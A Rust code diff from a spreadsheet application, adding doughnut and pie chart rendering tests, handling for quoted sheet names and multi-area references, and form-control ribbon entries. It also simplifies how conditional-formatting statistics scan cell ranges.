+    c.legend = LegendPos::None;
+    c.data_labels = false;
+    c.hole_size = 75;
+    // The annulus is a few dozen pixels tall and there are far more series than pixels, so every
+    // ring is thinner than 1 px. The chart used to draw nothing at all.
+    let many = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
+        series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(),
+    };
+    let single = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
+        // Two series, so the title fallback (a lone series names the chart) does not shrink the plot.
+        series: vec![
+            series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut),
+            series("Other", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
+        ],
+    };
+    let (w, h) = (640.0, 400.0);
+    let radii = |d: &ChartData| -> Vec<f32> {
+        render(&c, d, w, h, &ApproxMeasure)
+            .iter()
+            .filter_map(|p| match p {
+                Prim::Wedge { r_outer, .. } => Some(*r_outer),
+                _ => None,
+            })
+            .collect()
+    };
+    let outer = radii(&many);
+    assert!(!outer.is_empty(), "a sub-pixel ring must not suppress the whole chart");
+    let mut distinct = outer.clone();
+    distinct.sort_by(f32::total_cmp);
+    distinct.dedup();
+    assert!(distinct.len() > 8, "only {} rings drawn", distinct.len());
+    assert!(distinct.len() < 255, "too many rings for the pixels available: {}", distinct.len());
+    // The outermost ring still reaches the plot radius the single-ring chart uses.
+    let r = radii(&single).into_iter().fold(0.0f32, f32::max);
+    let drawn = distinct.last().copied().unwrap_or(0.0);
+    assert!((drawn - r).abs() < 0.01, "outermost ring {drawn} of {r}");
+}
+
+#[test]
+fn doughnut_one_pixel_rings_skip_the_separator_stroke() {
+    let mut c = chart(ChartKind::Doughnut);
+    c.title = None;
+    c.legend = LegendPos::None;
+    c.data_labels = false;
+    c.hole_size = 75;
+    // 255 series over a 46-pixel annulus: every drawn ring is one pixel tall, narrower than the
+    // 1.5-pixel white separator, which would otherwise paint over both neighbouring rings.
+    let thin = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
+        series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(),
+    };
+    let strokes: Vec<Option<(Rgba, f32)>> = render(&c, &thin, 640.0, 400.0, &ApproxMeasure)
+        .iter()
+        .filter_map(|p| match p {
+            Prim::Wedge { stroke, .. } => Some(*stroke),
+            _ => None,
+        })
+        .collect();
+    assert!(!strokes.is_empty(), "the chart must still draw its rings");
+    assert!(strokes.iter().all(Option::is_none), "a 1.5px stroke covers a 1px band: {strokes:?}");
+
+    // A ring with room for the separator keeps it.
+    let thick = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
+        series: vec![
+            series("Inner", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut),
+            series("Outer", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
+        ],
+    };
+    let strokes: Vec<Option<(Rgba, f32)>> = render(&c, &thick, 640.0, 400.0, &ApproxMeasure)
+        .iter()
+        .filter_map(|p| match p {
+            Prim::Wedge { stroke, .. } => Some(*stroke),
+            _ => None,
+        })
+        .collect();
+    assert!(!strokes.is_empty());
+    assert!(strokes.iter().all(Option::is_some), "wide rings keep their separators: {strokes:?}");
+}
+
+#[test]
+fn doughnut_wedge_budget_bounds_many_series_and_categories() {
+    let mut c = chart(ChartKind::Doughnut);
+    c.title = None;
+    c.legend = LegendPos::None;
+    c.data_labels = false;
+    c.hole_size = 75;
+    c.first_slice_angle = 0;
+    // 20,000 categories across 80 series would be hundreds of thousands of wedges: the per-series
+    // limit does not bound the product. The first ten categories of every ring are the largest.
+    let cats = 20_000usize;
+    let values: Vec<f64> = (0..cats).map(|j| if j < 10 { 1000.0 } else { 1.0 }).collect();
+    let d = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: (0..cats).map(|j| format!("C{j}")).collect(),
+        series: (0..80)
+            .map(|i| SeriesData { name: format!("S{i}"), values: values.iter().map(|v| Some(*v)).collect(), ..SeriesData::default() })
+            .collect(),
+    };
+    let wedges: Vec<(f32, f32)> = render(&c, &d, 640.0, 400.0, &ApproxMeasure)
+        .iter()
+        .filter_map(|p| match p {
+            Prim::Wedge { r_outer, a0, a1, .. } => Some((*r_outer, *a1 - *a0)),
+            _ => None,
+        })
+        .collect();
+    assert!(!wedges.is_empty(), "the innermost ring must still be drawn");
+    let mut radii: Vec<f32> = wedges.iter().map(|(r, _)| *r).collect();
+    radii.sort_by(f32::total_cmp);
+    radii.dedup();
+    assert!(radii.len() > 1, "every drawable ring is capped, not dropped");
+    // A slice crossing 12 o'clock is split into two primitives, so each ring may add one.
+    let budget = crate::render::MAX_WEDGES + radii.len();
+    assert!(wedges.len() <= budget, "{} wedges for {} rings", wedges.len(), radii.len());
+
+    // The first (innermost) ring keeps its largest slices and still fills the circle.
+    let inner: Vec<f32> = wedges.iter().filter(|(r, _)| *r == radii[0]).map(|(_, a)| *a).collect();
+    assert!(inner.len() < cats, "the ring was not capped: {}", inner.len());
+    assert_eq!(inner.iter().filter(|a| **a > 0.1).count(), 10, "largest slices went missing");
+    let cover: f32 = inner.iter().sum();
+    assert!((cover - std::f32::consts::TAU).abs() < 0.01, "first ring covers {cover}");
+}
+
+#[test]
+fn doughnut_first_slice_angle_rotates_the_start() {
+    let mut c = chart(ChartKind::Doughnut);
+    c.title = None;
+    c.legend = LegendPos::None;
+    c.first_slice_angle = 90;
+    let d = ChartData {
+        category_levels: vec![],
+        palette: vec![],
+        categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
+        series: vec![series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)],
+    };
+    let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
+    let first = prims.iter().find_map(|p| match p {
+        Prim::Wedge { a0, .. } => Some(*a0),
+        _ => None,
+    });
+    assert!(first.is_some_and(|a| (a - std::f32::consts::FRAC_PI_2).abs() < 0.01), "{first:?}");
+}
+
+/// Every slice must occupy exactly its angular share, even when the first slice angle pushes the
+/// start past 12 o'clock (the split at TAU used to put whole slices over their neighbours).
+#[test]
+fn rotated_wedges_cover_each_slice_once_without_overlap() {
+    const TAU: f32 = std::f32::consts::TAU;
+    for kind in [ChartKind::Doughnut, ChartKind::Pie] {
+        for angle in [180u16, 270] {
+            let mut c = chart(kind);
+            c.title = None;
+            c.legend = LegendPos::None;
+            c.data_labels = false;
+            c.first_slice_angle = angle;
+            let d = ChartData {
+                category_levels: vec![],
+                palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]],
+                categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(),
+                series: vec![series("Only", &[1.0; 4], [20, 96, 130, 255], kind)],
+            };
+            let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
+            let wedges: Vec<(f32, f32)> = prims
+                .iter()
+                .filter_map(|p| match p {
+                    Prim::Wedge { a0, a1, .. } => Some((*a0, *a1)),
+                    _ => None,
+                })
+                .collect();
+            assert!(wedges.len() >= 4, "{kind:?} at {angle}: {wedges:?}");
+            for (a0, a1) in &wedges {
+                assert!((0.0..TAU).contains(a0), "{kind:?} at {angle}: start {a0} outside [0, TAU)");
+                assert!(*a1 > *a0 && *a1 <= TAU + 1e-4, "{kind:?} at {angle}: bad sweep {a0}..{a1}");
+            }
+            // Sample away from the boundaries: a correct four-slice chart covers every angle once.
+            let steps = 1440;
+            for k in 0..steps {
+                let theta = (k as f32 + 0.5) * TAU / steps as f32;
+                let cover = wedges.iter().filter(|(a0, a1)| theta >= *a0 && theta < *a1).count();
+                assert_eq!(cover, 1, "{kind:?} at {angle}: {theta} covered {cover} times by {wedges:?}");
+            }
+        }
+    }
+}
+
+/// A slice that crosses 12 o'clock is filled as two halves but outlined once: stroking each half
+/// separately ran the white separator along the shared radial edge, straight through the slice.
+#[test]
+fn slice_crossing_twelve_has_no_internal_seam() {
+    const TAU: f32 = std::f32::consts::TAU;
+    let mut c = chart(ChartKind::Pie);
+    c.title = None;
+    c.legend = LegendPos::None;
+    c.data_labels = false;
+    c.first_slice_angle = 90;
+    let a = [230, 126, 34, 255];
+    let b = [39, 174, 96, 255];
+    let d = ChartData {
+        category_levels: vec![],
+        palette: vec![a, b],
+        categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
+        series: vec![series("Only", &[1.0, 1.0], a, ChartKind::Pie)],
+    };
+    let (w, h) = (400u32, 400u32);
+    let prims = render(&c, &d, w as f32, h as f32, &ApproxMeasure);
+    // The second slice starts at 270° and wraps past 0°, so it is drawn as two unstroked halves.
+    let mut halves = 0;
+    let mut cx = 0.0;
+    let mut cy = 0.0;
+    let mut r = 0.0;
+    for p in &prims {
+        if let Prim::Wedge { cx: x, cy: y, r_outer, a0, a1, fill, stroke, .. } = p
+            && *fill == b
+        {
+            assert!(stroke.is_none(), "a split half must not stroke its shared edge: {p:?}");
+            assert!(*a0 == 0.0 || *a1 == TAU, "the crossing slice is split at 12 o'clock: {p:?}");
+            halves += 1;
+            (cx, cy, r) = (*x, *y, *r_outer);
+        }
+    }
+    assert_eq!(halves, 2, "one slice crosses 12 o'clock");
+    // Exactly one outline covers the whole crossing slice, drawn as line primitives.
+    assert_eq!(prims.iter().filter(|p| matches!(p, Prim::Line { color, .. } if *color == [255, 255, 255, 255])).count(), 1, "{prims:?}");
+    // No white pixel inside the slice along 12 o'clock, where the shared edge used to be stroked.
+    let img = rasterize(&prims, w, h, [255, 255, 255, 255]);
+    for t in [0.3f32, 0.5, 0.7] {
+        assert_eq!(pixel(&img, w, cx as u32, (cy - r * t) as u32), b, "white seam at {t} of the slice");
+    }
+}
+
+#[test]
+fn doughnut_legend_names_categories_and_matches_every_ring() {
+    let mut c = chart(ChartKind::Doughnut);
+    c.title = None;
+    c.data_labels = false;
+    c.legend = LegendPos::Right;
+    c.first_slice_angle = 180;
+    let d = ChartData {
+        category_levels: vec![],
+        palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]],
+        categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(),
+        series: vec![
+            series("Outer", &[1.0; 4], [20, 96, 130, 255], ChartKind::Doughnut),
+            series("Inner", &[1.0; 4], [221, 132, 82, 255], ChartKind::Doughnut),
+        ],
+    };
+    let entries = legend_entries(&c, &d);
+    assert_eq!(entries.iter().map(|(name, _, _)| name.as_str()).collect::<Vec<_>>(), ["A", "B", "C", "D"]);
+
+    let start = f32::from(c.first_slice_angle) * std::f32::consts::TAU / 360.0;
+    let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
+    let mut rings = Vec::new();
+    for p in &prims {
+        let Prim::Wedge { r_outer, a0, a1, fill, .. } = p else { continue };
+        rings.push(*r_outer);
+        let rel = ((a0 + a1) / 2.0 - start).rem_euclid(std::f32::consts::TAU);
+        let cat = ((rel / (std::f32::consts::TAU / 4.0)) as usize).min(3);
+        assert_eq!(*fill, entries[cat].1, "ring wedge at {a0}..{a1} does not match legend entry {}", entries[cat].0);
+    }
+    rings.sort_by(f32::total_cmp);
+    rings.dedup();
+    assert_eq!(rings.len(), 2, "two series must draw two rings");
+}
+
 #[test]
 fn legend_counts() {
    let d = sample(ChartKind::ColumnClustered);
@@ -461,7 +774,11 @@ fn pie_starts_at_twelve_clockwise() {
    assert!(wedges.windows(2).all(|w| w[1].0 >= w[0].1 - 1e-4));
    assert!((wedges[5].1 - std::f32::consts::TAU).abs() < 1e-3);
    assert!(wedges.iter().all(|w| w.2 == 0.0 && w.3.map(|s| s.0) == Some([255; 4])));
-    let prims = render(&chart(ChartKind::Doughnut), &d, 400.0, 400.0, &ApproxMeasure);
+    let mut c = chart(ChartKind::Doughnut);
+    c.hole_size = 50;
+    let mut d = sample(ChartKind::Doughnut);
+    d.series.truncate(1);
+    let prims = render(&c, &d, 400.0, 400.0, &ApproxMeasure);
    let ok = prims.iter().any(|p| matches!(p, Prim::Wedge { r_outer, r_inner, .. } if (r_inner / r_outer - 0.5).abs() < 1e-3));
    assert!(ok);
 }
@@ -1258,3 +1575,75 @@ fn box_whisker_draws_each_series_quartile_method() {
    // The boxes span 3.5 and 2.5 data units on the same value axis.
    assert!((heights[0] / heights[1] - 1.4).abs() < 0.001);
 }
+
+#[test]
+fn a_series_named_by_a_name_on_a_sheet_with_an_apostrophe_resolves() {
+    // #2012: `'Bob''s'!Title` kept the doubled quote, so the sheet wasn't found and the series
+    // was named by the literal text.
+    let mut wb = Workbook::new();
+    {
+        let s = wb.sheet_mut(0).unwrap();
+        s.name = "Bob's".into();
+        s.set_value(CellRef::new(0, 0), Value::from("Takings"));
+        s.set_value(CellRef::new(1, 0), Value::Number(4.0));
+        s.set_value(CellRef::new(2, 0), Value::Number(9.0));
+    }
+    wb.names.push(gridcraft_model::DefinedName {
+        name: "Title".into(),
+        scope: Some(0),
+        formula: "'Bob''s'!$A$1".into(),
+        comment: String::new(),
+        hidden: false,
+    });
+    let mut c = chart(ChartKind::ColumnClustered);
+    c.series = vec![Series {
+        name: Some("'Bob''s'!Title".into()),
+        categories: None,
+        values: "'Bob''s'!$A$2:$A$3".into(),
+        bubble_sizes: None,
+        color: None,
+        secondary: false,
+        kind: None,
+        quartiles: Default::default(),
+        smooth: false,
+        trendlines: Vec::new(),
+    }];
+    let d = resolve(&wb, 0, &c);
+    assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings"));
+}
+
+#[test]
+fn a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves() {
+    // `'a!b'!Title`: the sheet name holds a `!`, so the evaluator must split the parsed name at
+    // the last one, not the first.
+    let mut wb = Workbook::new();
+    {
+        let s = wb.sheet_mut(0).unwrap();
+        s.name = "a!b".into();
+        s.set_value(CellRef::new(0, 0), Value::from("Takings"));
+        s.set_value(CellRef::new(1, 0), Value::Number(4.0));
+        s.set_value(CellRef::new(2, 0), Value::Number(9.0));
+    }
+    wb.names.push(gridcraft_model::DefinedName {
+        name: "Title".into(),
+        scope: Some(0),
+        formula: "'a!b'!$A$1".into(),
+        comment: String::new(),
+        hidden: false,
+    });
+    let mut c = chart(ChartKind::ColumnClustered);
+    c.series = vec![Series {
+        name: Some("'a!b'!Title".into()),
+        categories: None,
+        values: "'a!b'!$A$2:$A$3".into(),
+        bubble_sizes: None,
+        color: None,
+        secondary: false,
+        kind: None,
+        quartiles: Default::default(),
+        smooth: false,
+        trendlines: Vec::new(),
+    }];
+    let d = resolve(&wb, 0, &c);
+    assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings"));
+}
@@ -188,6 +188,12 @@ impl RangeRef {
            end: CellRef::new(self.end.row.max(o.end.row), self.end.col.max(o.end.col)),
        }
    }
+    /// The top-left cell of a list of areas: the lowest row and the lowest column across all of
+    /// them, whatever order they are listed in. Excel writes the relative formulas of a
+    /// multi-area validation or conditional format for this cell. `None` for no areas.
+    pub fn top_left(ranges: &[RangeRef]) -> Option<CellRef> {
+        ranges.iter().copied().reduce(|a, b| a.union(&b)).map(|r| r.start)
+    }
    /// Row-major iterator over the cells. Callers must bound huge ranges themselves.
    pub fn iter(&self) -> impl Iterator<Item = CellRef> + '_ {
        let (r0, r1, c0, c1) = (self.start.row, self.end.row, self.start.col, self.end.col);
@@ -290,10 +296,40 @@ pub fn split_sheet(reference: &str) -> (Option<String>, &str) {
    }
 }

+/// The areas of a reference list, split at the commas between them. A comma inside a quoted
+/// sheet name (`'Sales, West'!A1`) is part of the name, and a doubled quote inside the quotes
+/// (`'O''Brien, Jr'!A1`) is an escaped quote, not the end of the name: a quote toggles the
+/// quoted state, so a doubled one toggles it twice.
+pub fn split_areas(reference: &str) -> Vec<&str> {
+    let mut areas = Vec::new();
+    let (mut start, mut quoted) = (0, false);
+    for (i, c) in reference.char_indices() {
+        match c {
+            '\'' => quoted = !quoted,
+            ',' if !quoted => {
+                areas.push(reference.get(start..i).unwrap_or_default());
+                start = i.saturating_add(1);
+            }
+            _ => {}
+        }
+    }
+    areas.push(reference.get(start..).unwrap_or_default());
+    areas
+}
+
 #[cfg(test)]
 mod tests {
    use super::*;

+    #[test]
+    fn areas_split_only_at_commas_outside_quoted_sheet_names() {
+        assert_eq!(split_areas("B2:B4,D1"), ["B2:B4", "D1"]);
+        assert_eq!(split_areas("'Sales, West'!$A$1"), ["'Sales, West'!$A$1"]);
+        assert_eq!(split_areas("'O''Brien, Jr'!A1:B2,D4"), ["'O''Brien, Jr'!A1:B2", "D4"]);
+        assert_eq!(split_areas("'Q1, Q2'!A1,'Q3, Q4'!B2"), ["'Q1, Q2'!A1", "'Q3, Q4'!B2"]);
+        assert_eq!(split_areas(""), [""]);
+    }
+
    #[test]
    fn range_parse_rejects_signed_rows() -> Result<(), std::io::Error> {
        assert!(RangeRef::parse("+1:+3").is_none());
@@ -307,6 +343,16 @@ mod tests {
        Ok(())
    }

+    #[test]
+    fn top_left_spans_every_area_in_any_order() {
+        let areas: Vec<RangeRef> = ["H62:H68", "H26:H27", "H93:H95"].iter().filter_map(|a| RangeRef::parse(a)).collect();
+        assert_eq!(RangeRef::top_left(&areas), CellRef::parse("H26"));
+        // Lowest row and lowest column, even when they come from different areas.
+        let areas: Vec<RangeRef> = ["C5:D6", "E2", "B9"].iter().filter_map(|a| RangeRef::parse(a)).collect();
+        assert_eq!(RangeRef::top_left(&areas), CellRef::parse("B2"));
+        assert_eq!(RangeRef::top_left(&[]), None);
+    }
+
    #[test]
    fn sheet_quoting_follows_excel() {
        for quoted in [
@@ -11,7 +11,7 @@ pub mod value;

 pub use addr::{
    CategoryLevels, CellRef, MAX_COLS, MAX_ROWS, RangeRef, category_levels, col_to_letters, letters_to_col, quote_sheet, sheet_needs_quotes,
-    split_sheet, unquote_sheet,
+    split_areas, split_sheet, unquote_sheet,
 };
 pub use date::DateSystem;
 pub use value::{Array, CellError, Value, compare, compare_numbers, compare_text, number_to_text, sort_compare};
@@ -275,6 +275,11 @@ pub const CATALOG: &[(&str, &str, &str, &str)] = &[
    ("automate.allScripts", "Automate", "Scripting Tools", "All Scripts"),
    ("automate.recordActions", "Automate", "Scripting Tools", "Record Actions"),
    ("automate.trustScripts", "Automate", "Scripting Tools", "Trust Scripts"),
+    // Developer (Insert › Controls in GridCraft)
+    ("insert.button", "Developer", "Controls", "Button (Form Control)"),
+    ("insert.spinButton", "Developer", "Controls", "Spin Button (Form Control)"),
+    ("insert.slider", "Developer", "Controls", "Scroll Bar (Form Control)"),
+    ("control.format", "Developer", "Controls", "Properties"),
    // Table Design
    ("table.rename", "Table Design", "Properties", "Table Name"),
    ("table.resize", "Table Design", "Properties", "Resize Table"),
@@ -1,7 +1,7 @@
 //! Conditional formatting evaluation: what extra style, data bar, colour scale or icon a cell
 //! gets.

-use std::collections::{HashMap, HashSet};
+use std::collections::HashMap;

 use gridcraft_core::{CellRef, RangeRef, Value, compare};
 use gridcraft_model::{CfOperator, CfRule, CfValueKind, Color, CondFormat, PatternType, Sheet, Style, Underline, Workbook, default_icon_thresholds};
@@ -47,8 +47,6 @@ enum StatsNeed {
 fn stats_need(rule: &CfRule) -> Option<StatsNeed> {
    match rule {
        CfRule::Duplicate { .. } | CfRule::Unique { .. } => Some(StatsNeed::Counts),
-        // only two- and three-colour scales paint: no statistics for the others
-        CfRule::ColorScale { stops } if !matches!(stops.len(), 2 | 3) => None,
        CfRule::Top10 { .. } | CfRule::AboveAverage { .. } | CfRule::ColorScale { .. } | CfRule::DataBar { .. } | CfRule::IconSet { .. } => {
            Some(StatsNeed::Numbers)
        }
@@ -72,58 +70,15 @@ thread_local! {
    static SCANNED: std::cell::Cell<usize> = const { std::cell::Cell::new(0) };
 }

-/// Most cells one rule's statistics visit, across all of its ranges together: a rule repeating
-/// the same range many times must not multiply the scan.
-const STATS_SCAN_LIMIT: usize = 2_000_000;
-
-/// Steps through the spilled cells inside `r`, row-major: `Some(cell)` for each, and `None` for a
-/// jump past the spills left or right of the columns on a row (one step per row, however many
-/// there are), so unrelated spills between a narrow range's corners cost little.
-fn spill_steps(sh: &Sheet, r: RangeRef) -> impl Iterator<Item = Option<CellRef>> + '_ {
-    let mut cur = Some(r.start);
-    std::iter::from_fn(move || {
-        let at = cur.filter(|at| *at <= r.end)?;
-        let (&c, _) = sh.spill.range(at..=r.end).next()?;
-        if c.col < r.start.col {
-            cur = Some(CellRef::new(c.row, r.start.col));
-            Some(None)
-        } else if c.col > r.end.col {
-            cur = c.row.checked_add(1).map(|row| CellRef::new(row, r.start.col));
-            Some(None)
-        } else {
-            cur = c.col.checked_add(1).map(|col| CellRef::new(c.row, col));
-            Some(Some(c))
-        }
-    })
-}
-
 fn numbers_in(sh: &Sheet, ranges: &[RangeRef], need: StatsNeed) -> (Vec<f64>, HashMap<String, usize>) {
    let mut nums = Vec::new();
    let mut counts = HashMap::new();
-    let mut budget = STATS_SCAN_LIMIT;
-    let mut seen: HashSet<RangeRef> = HashSet::new();
-    let used = sh.used_range();
    for r in ranges {
-        if budget == 0 {
-            break;
-        }
-        let r = match used.and_then(|u| r.intersection(&u)) {
+        let r = match sh.used_range().and_then(|u| r.intersection(&u)) {
            Some(x) => x,
            None => continue,
        };
-        // The same range listed twice counts its cells once.
-        if !seen.insert(r) {
-            continue;
-        }
-        // Only stored and spilled cells hold values: blank cells of a sparse range cost nothing,
-        // so a value far down a huge range is still counted. Every cell looked at is charged.
-        let stored = sh.cells.iter_range(r).map(|(c, _)| (Some(c), true));
-        let spilled = spill_steps(sh, r).map(|c| (c, false));
-        for (c, is_stored) in stored.chain(spilled).take(budget) {
-            budget -= 1;
-            // a skip over spills outside the columns (charged, not read), or a spilled value
-            // under a stored cell, which was read with it
-            let Some(c) = c.filter(|c| is_stored || sh.cells.get(*c).is_none()) else { continue };
+        for c in r.iter().take(2_000_000) {
            #[cfg(test)]
            SCANNED.with(|n| n.set(n.get() + 1));
            let v = sh.value(c);
@@ -289,7 +244,7 @@ impl CfCache {
        let v = sh.value(c);
        let no_stats = RuleStats::default();
        for (idx, cf) in rules {
-            let first = cf.ranges.first().map(|r| r.start).unwrap_or(c);
+            let first = RangeRef::top_left(&cf.ranges).unwrap_or(c);
            let st: &RuleStats = match stats_need(&cf.rule) {
                Some(need) => &*self.stats.entry(idx).or_insert_with(|| RuleStats::build(sh, &cf.ranges, need)),
                None => &no_stats,
@@ -323,8 +278,7 @@ impl CfCache {
                    _ => None,
                },
                CfRule::ColorScale { stops } => {
-                    // Only two- and three-colour scales paint: evaluate no thresholds for others.
-                    if let Some(n) = v.as_f64().filter(|_| matches!(stops.len(), 2 | 3)) {
+                    if let Some(n) = v.as_f64() {
                        let pts: Vec<(f64, [u8; 3])> = stops
                            .iter()
                            .map(|(k, col)| (threshold(wb, sheet, c, st, k), col.resolve(&wb.theme).unwrap_or([255, 255, 255])))
@@ -606,89 +560,6 @@ mod tests {
        assert_eq!(SCANNED.with(|n| n.get()), 10_000);
    }

-    /// A rule listing the same range many times scans it once, and never more than the shared
-    /// limit however many ranges it holds.
-    #[test]
-    fn repeated_ranges_share_one_scan_budget() {
-        let mut s = crate::Session::new();
-        s.new_workbook();
-        s.execute("range.setValues", json!({"range": "A1", "values": [[1], [2], [3]]})).unwrap();
-        s.execute("range.setValues", json!({"range": "XFD1048576", "values": [[4]]})).unwrap();
-        let d = s.doc().unwrap();
-        let sh = d.wb.sheet(0).unwrap();
-        let dense = RangeRef::parse("A1:XFD1048576").unwrap();
-        let small = RangeRef::parse("A1:A3").unwrap();
-        SCANNED.with(|n| n.set(0));
-        let st = RuleStats::build(sh, &vec![small; 1000], StatsNeed::Numbers);
-        assert_eq!(st.sorted, vec![1.0, 2.0, 3.0]);
-        assert_eq!(SCANNED.with(|n| n.get()), 3);
-        let shifted: Vec<RangeRef> = (0..50).map(|i| RangeRef::new(CellRef::new(i, 0), dense.end)).collect();
-        SCANNED.with(|n| n.set(0));
-        RuleStats::build(sh, &shifted, StatsNeed::Numbers);
-        assert!(SCANNED.with(|n| n.get()) <= STATS_SCAN_LIMIT);
-    }
-
-    /// Blank cells of a sparse range are not charged to the scan budget: a value at the end of two
-    /// million-row columns still counts, so duplicates are found.
-    #[test]
-    fn sparse_ranges_keep_their_values_under_the_scan_budget() {
-        let mut s = crate::Session::new();
-        s.new_workbook();
-        s.execute("range.setValues", json!({"range": "A1", "values": [[7]]})).unwrap();
-        s.execute("range.setValues", json!({"range": "B1048576", "values": [[7]]})).unwrap();
-        let d = s.doc().unwrap();
-        let sh = d.wb.sheet(0).unwrap();
-        let ranges = [RangeRef::parse("A1:A1048576").unwrap(), RangeRef::parse("B1:B1048576").unwrap()];
-        SCANNED.with(|n| n.set(0));
-        let st = RuleStats::build(sh, &ranges, StatsNeed::Counts);
-        assert_eq!(st.counts.get("7"), Some(&2));
-        assert_eq!(SCANNED.with(|n| n.get()), 2);
-    }
-
-    /// Spills left and right of a narrow range, between its corners, are skipped a row at a time:
-    /// they do not use the budget that the in-range spills need.
-    #[test]
-    fn spills_outside_a_narrow_range_do_not_use_its_scan_budget() {
-        let mut s = crate::Session::new();
-        s.new_workbook();
-        let d = s.doc().unwrap();
-        let mut sh = d.wb.sheet(0).unwrap().clone();
-        for row in 0..1000 {
-            for col in [0u32, 5, 6, 7] {
-                sh.spill.insert(CellRef::new(row, col), Value::Number(1.0));
-            }
-        }
-        let r = RangeRef::parse("F1:G1000").unwrap();
-        let steps: Vec<_> = spill_steps(&sh, r).collect();
-        assert_eq!(steps.iter().flatten().count(), 2000);
-        // column A is skipped one step a row, never one per cell
-        assert!(steps.len() <= 2000 + 1000, "{}", steps.len());
-        let narrow = RangeRef::parse("C1:C1000").unwrap();
-        assert_eq!(spill_steps(&sh, narrow).flatten().count(), 0);
-    }
-
-    /// A colour scale with an unsupported number of stops paints nothing and evaluates none of them.
-    #[test]
-    fn colour_scales_with_other_stop_counts_paint_nothing() {
-        let mut s = crate::Session::new();
-        s.new_workbook();
-        s.execute("range.setValues", json!({"range": "A1", "values": [[1], [5]]})).unwrap();
-        let mut wb: Workbook = (*s.doc().unwrap().wb).clone();
-        let stop = (CfValueKind::Formula("=1".into()), Color::default());
-        let rule = |n: usize| CondFormat {
-            ranges: vec![RangeRef::parse("A1:A2").unwrap()],
-            rule: CfRule::ColorScale { stops: vec![stop.clone(); n] },
-            priority: 1,
-            stop_if_true: false,
-        };
-        wb.sheet_mut(0).unwrap().cond_formats.push(rule(4));
-        let mut cache = CfCache::new();
-        assert_eq!(cache.look(&wb, 0, CellRef::parse("A1").unwrap()).and_then(|l| l.scale_fill), None);
-        wb.sheet_mut(0).unwrap().cond_formats = vec![rule(2)];
-        let mut cache = CfCache::new();
-        assert!(cache.look(&wb, 0, CellRef::parse("A1").unwrap()).and_then(|l| l.scale_fill).is_some());
-    }
-
    #[test]
    fn cell_value_operator_names() {
        let mut s = crate::Session::new();
@@ -17,11 +17,13 @@ const MAX_ROW_SPAN: usize = gridcraft_core::MAX_ROWS as usize;
 /// table is ignored: the HTML only refines cells of the tab-separated text, which stays the source.
 const MAX_HTML_CELLS: usize = 1_000_000;

-/// One table cell: its visible text and the number the source recorded for it, if any.
+/// One table cell: its visible text, the number the source recorded for it, if any, and whether
+/// it is a header cell (`<th>`).
 #[derive(Clone, Debug, Default, PartialEq)]
 pub(crate) struct HtmlCell {
    pub text: String,
    pub num: Option<f64>,
+    pub header: bool,
 }

 /// The cells of the first table in `html`, row by row, read no further than `max_rows` rows of
@@ -88,7 +90,7 @@ pub(crate) fn table_cells(html: &str, max_rows: usize, max_cols: usize) -> Vec<V
                let num = attr(attrs, "x:num").or_else(|| attr(attrs, "sdval")).and_then(|v| v.trim().parse::<f64>().ok()).filter(|n| n.is_finite());
                let colspan = span(attrs, "colspan", MAX_SPAN);
                let rowspan = span(attrs, "rowspan", MAX_ROW_SPAN);
-                cell = Some(OpenCell { cell: HtmlCell { text: String::new(), num }, colspan, rowspan });
+                cell = Some(OpenCell { cell: HtmlCell { text: String::new(), num, header: name == "th" }, colspan, rowspan });
            }
            ("td" | "th", true) | ("tr", true) => grid.finish(&mut cell),
            ("br", _) => {
@@ -376,18 +378,18 @@ mod tests {
            <tr><td colspan=2 x:num="2.5">2.50 &amp; up</td><td>x</td></tr><!--EndFragment--></table></body></html>"#;
        let rows = table_cells(excel, 2, 3);
        assert_eq!(rows.len(), 2);
-        assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) });
-        assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None });
+        assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() });
+        assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None, ..HtmlCell::default() });
        assert_eq!(rows[1].len(), 3, "colspan keeps the next cell in its column");
        assert_eq!(rows[1][0].text, "2.50 & up");
        assert_eq!(rows[1][2].text, "x");

        let calc = r#"<table cellspacing="0" border="0"><colgroup width="85"></colgroup><tr>
            <td height="17" align="right" sdval="10000" sdnum="1033;0;[$Rp-421]#,##0.00"><font face="Liberation Sans">Rp10,000.00</font></td></tr></table>"#;
-        assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) }]]);
+        assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() }]]);

